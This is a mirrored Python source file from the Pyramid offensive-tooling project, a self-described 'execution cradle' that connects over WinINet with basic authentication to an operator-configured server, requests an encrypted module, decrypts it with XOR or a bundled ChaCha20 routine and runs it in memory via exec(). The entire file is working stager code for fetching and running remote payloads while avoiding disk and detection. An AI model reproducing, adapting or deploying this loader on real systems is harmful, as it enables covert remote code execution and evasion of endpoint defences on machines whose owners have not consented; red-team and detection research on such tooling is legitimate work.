mirror of
https://github.com/naksyn/Pyramid
synced 2026-06-08 16:17:13 +00:00
naksyn
265 lines
9.3 KiB
Python
265 lines
9.3 KiB
Python
'''
|
|
Author: @naksyn (c) 2023
|
|
|
|
Description: Pyramid module execution cradle to download, decrypt and execute in-memory.
|
|
|
|
Copyright 2023
|
|
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
|
|
to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
|
|
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
|
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
|
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
|
|
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
|
|
OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
|
'''
|
|
|
|
import struct
|
|
import base64
|
|
import ctypes
|
|
from ctypes import wintypes, byref, create_string_buffer, POINTER
|
|
|
|
### GENERAL CONFIG ####
|
|
|
|
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
|
|
|
|
### This config is generated by Pyramid server upon startup and based on command line given
|
|
### AUTO-GENERATED PYRAMID CONFIG ### DELIMITER
|
|
|
|
pyramid_server='192.168.1.2'
|
|
pyramid_port='8080'
|
|
pyramid_user='user'
|
|
pyramid_pass='pass'
|
|
encryption='chacha20'
|
|
encryptionpass='superpass'
|
|
chacha20IV=b'12345678'
|
|
pyramid_http='http'
|
|
encode_encrypt_url='/login/'
|
|
pyramid_module='pythonmemorymodule_wininet.py'
|
|
|
|
### END DELIMITER
|
|
|
|
wininet = ctypes.WinDLL('wininet.dll')
|
|
|
|
# Constants
|
|
INTERNET_OPEN_TYPE_PRECONFIG = 0 # Use system proxy settings
|
|
INTERNET_FLAG_RELOAD = 0x80000000
|
|
INTERNET_SERVICE_HTTP = 3
|
|
HTTP_QUERY_STATUS_CODE = 19
|
|
|
|
# Function Prototypes
|
|
wininet.InternetOpenW.restype = wintypes.HANDLE
|
|
wininet.InternetOpenW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD]
|
|
|
|
wininet.InternetConnectW.restype = wintypes.HANDLE
|
|
wininet.InternetConnectW.argtypes = [wintypes.HANDLE, wintypes.LPCWSTR, wintypes.INT, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, wintypes.DWORD]
|
|
|
|
wininet.HttpOpenRequestW.restype = wintypes.HANDLE
|
|
wininet.HttpOpenRequestW.argtypes = [wintypes.HANDLE, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.LPCWSTR, POINTER(wintypes.LPCWSTR), wintypes.DWORD, wintypes.DWORD]
|
|
|
|
wininet.HttpSendRequestW.restype = wintypes.BOOL
|
|
wininet.HttpSendRequestW.argtypes = [wintypes.HANDLE, wintypes.LPCWSTR, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD]
|
|
|
|
wininet.InternetCloseHandle.restype = wintypes.BOOL
|
|
wininet.InternetCloseHandle.argtypes = [wintypes.HANDLE]
|
|
|
|
|
|
# Load WinINet DLL
|
|
wininet = ctypes.WinDLL('wininet.dll')
|
|
|
|
def add_basic_auth_header(hRequest):
|
|
if pyramid_user: # Check if user is not an empty string
|
|
# Encode user:password in base64
|
|
credentials = f"{pyramid_user}:{pyramid_pass}".encode("utf-8")
|
|
base64_credentials = base64.b64encode(credentials).decode("utf-8")
|
|
auth_header = f"Authorization: Basic {base64_credentials}\r\n"
|
|
# Convert the Python string to a format compatible with WinINet
|
|
lpHeaders = ctypes.c_wchar_p(auth_header)
|
|
dwHeadersLength = len(auth_header)
|
|
# Add the Authorization header to the request
|
|
wininet.HttpAddRequestHeadersW(hRequest, lpHeaders, dwHeadersLength, 0)
|
|
|
|
# Adjusted function for opening an internet session
|
|
def http_proxy_connection(target_url):
|
|
print(pyramid_server)
|
|
print(target_url)
|
|
|
|
# Open Internet session with system proxy settings
|
|
hInternet = wininet.InternetOpenW(user_agent, INTERNET_OPEN_TYPE_PRECONFIG, None, None, 0)
|
|
if not hInternet:
|
|
print("Failed to open internet session.")
|
|
return False
|
|
|
|
# Connect to target server
|
|
hConnect = wininet.InternetConnectW(hInternet, pyramid_server, int(pyramid_port), None, None, INTERNET_SERVICE_HTTP, 0, 0)
|
|
if not hConnect:
|
|
print(f"Failed to connect to target server: {pyramid_server}.")
|
|
wininet.InternetCloseHandle(hInternet)
|
|
return False
|
|
|
|
# Open an HTTP request
|
|
hRequest = wininet.HttpOpenRequestW(hConnect, "GET", target_url, None, None, None, INTERNET_FLAG_RELOAD, 0)
|
|
if not hRequest:
|
|
print("Failed to open HTTP request.")
|
|
wininet.InternetCloseHandle(hConnect)
|
|
wininet.InternetCloseHandle(hInternet)
|
|
return False
|
|
|
|
add_basic_auth_header(hRequest)
|
|
|
|
# Send the request
|
|
if not wininet.HttpSendRequestW(hRequest, None, 0, None, 0):
|
|
print("Failed to send HTTP request.")
|
|
wininet.InternetCloseHandle(hRequest)
|
|
wininet.InternetCloseHandle(hConnect)
|
|
wininet.InternetCloseHandle(hInternet)
|
|
return False
|
|
|
|
print("HTTP request sent successfully.")
|
|
|
|
# Buffer and variable to store the response
|
|
BUFFER_SIZE = 4096
|
|
dwBytesRead = wintypes.DWORD(0)
|
|
response = []
|
|
|
|
# Read the response
|
|
buffer = create_string_buffer(BUFFER_SIZE)
|
|
while True:
|
|
if not wininet.InternetReadFile(hRequest, buffer, BUFFER_SIZE, byref(dwBytesRead)):
|
|
break
|
|
|
|
if dwBytesRead.value == 0:
|
|
# end of the response
|
|
break
|
|
|
|
# Append the data read to the response list
|
|
response.append(buffer[:dwBytesRead.value])
|
|
|
|
# Convert the list of bytes to a single bytes object
|
|
payload = b''.join(response)
|
|
|
|
# Clean up handles
|
|
wininet.InternetCloseHandle(hRequest)
|
|
wininet.InternetCloseHandle(hConnect)
|
|
wininet.InternetCloseHandle(hInternet)
|
|
|
|
if len(payload) < 10000:
|
|
print("[!] Error, response too small - this may be a server error (missing file, server not reachable, etc.)")
|
|
print("[!] DEBUG response first 500 bytes:")
|
|
print(payload[:500])
|
|
return False
|
|
else:
|
|
return payload
|
|
|
|
|
|
def encrypt_wrapper(data, encryption):
|
|
if encryption == 'xor':
|
|
result=xor(data, encryptionpass.encode())
|
|
return result
|
|
elif encryption == 'chacha20':
|
|
result=encrypt(data, encryptionpass.encode(),chacha20IV)
|
|
return result
|
|
|
|
def xor(data, key):
|
|
xored_data = []
|
|
i = 0
|
|
for data_byte in data:
|
|
if i < len(key):
|
|
xored_byte = data_byte ^ key[i]
|
|
xored_data.append(xored_byte)
|
|
i += 1
|
|
else:
|
|
xored_byte = data_byte ^ key[0]
|
|
xored_data.append(xored_byte)
|
|
i = 1
|
|
return bytes(xored_data)
|
|
|
|
def yield_chacha20_xor_stream(key, iv, position=0):
|
|
"""Generate the xor stream with the ChaCha20 cipher."""
|
|
if not isinstance(position, int):
|
|
raise TypeError
|
|
if position & ~0xffffffff:
|
|
raise ValueError('Position is not uint32.')
|
|
if not isinstance(key, bytes):
|
|
raise TypeError
|
|
if not isinstance(iv, bytes):
|
|
raise TypeError
|
|
if len(key) != 32:
|
|
raise ValueError
|
|
if len(iv) != 8:
|
|
raise ValueError
|
|
|
|
def rotate(v, c):
|
|
return ((v << c) & 0xffffffff) | v >> (32 - c)
|
|
|
|
def quarter_round(x, a, b, c, d):
|
|
x[a] = (x[a] + x[b]) & 0xffffffff
|
|
x[d] = rotate(x[d] ^ x[a], 16)
|
|
x[c] = (x[c] + x[d]) & 0xffffffff
|
|
x[b] = rotate(x[b] ^ x[c], 12)
|
|
x[a] = (x[a] + x[b]) & 0xffffffff
|
|
x[d] = rotate(x[d] ^ x[a], 8)
|
|
x[c] = (x[c] + x[d]) & 0xffffffff
|
|
x[b] = rotate(x[b] ^ x[c], 7)
|
|
|
|
ctx = [0] * 16
|
|
ctx[:4] = (1634760805, 857760878, 2036477234, 1797285236)
|
|
ctx[4 : 12] = struct.unpack('<8L', key)
|
|
ctx[12] = ctx[13] = position
|
|
ctx[14 : 16] = struct.unpack('<LL', iv)
|
|
while 1:
|
|
x = list(ctx)
|
|
for i in range(3):
|
|
quarter_round(x, 0, 4, 8, 12)
|
|
quarter_round(x, 1, 5, 9, 13)
|
|
quarter_round(x, 2, 6, 10, 14)
|
|
quarter_round(x, 3, 7, 11, 15)
|
|
quarter_round(x, 0, 5, 10, 15)
|
|
quarter_round(x, 1, 6, 11, 12)
|
|
quarter_round(x, 2, 7, 8, 13)
|
|
quarter_round(x, 3, 4, 9, 14)
|
|
for c in struct.pack('<16L', *(
|
|
(x[i] + ctx[i]) & 0xffffffff for i in range(16))):
|
|
yield c
|
|
ctx[12] = (ctx[12] + 1) & 0xffffffff
|
|
if ctx[12] == 0:
|
|
ctx[13] = (ctx[13] + 1) & 0xffffffff
|
|
|
|
|
|
def encrypt(data, key, iv=None, position=0):
|
|
"""Encrypt (or decrypt) with the ChaCha20 cipher."""
|
|
if not isinstance(data, bytes):
|
|
raise TypeError
|
|
if iv is None:
|
|
iv = b'\0' * 8
|
|
if isinstance(key, bytes):
|
|
if not key:
|
|
raise ValueError('Key is empty.')
|
|
if len(key) < 32:
|
|
# TODO(pts): Do key derivation with PBKDF2 or something similar.
|
|
key = (key * (32 // len(key) + 1))[:32]
|
|
if len(key) > 32:
|
|
raise ValueError('Key too long.')
|
|
|
|
return bytes(a ^ b for a, b in
|
|
zip(data, yield_chacha20_xor_stream(key, iv, position)))
|
|
|
|
|
|
|
|
#gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
|
|
#gcontext.check_hostname = False
|
|
#gcontext.verify_mode = ssl.CERT_NONE
|
|
|
|
# Connect to the HTTP server
|
|
|
|
target_url = encode_encrypt_url + \
|
|
base64.b64encode((encrypt_wrapper((pyramid_module).encode(), encryption))).decode('utf-8') # The URL path to the resource
|
|
|
|
payload=http_proxy_connection(target_url)
|
|
if not payload:
|
|
print("[!] Error in HTTP response - stopping")
|
|
else:
|
|
paydec=encrypt_wrapper(payload,encryption)
|
|
exec(paydec.decode('utf-8'))
|
|
|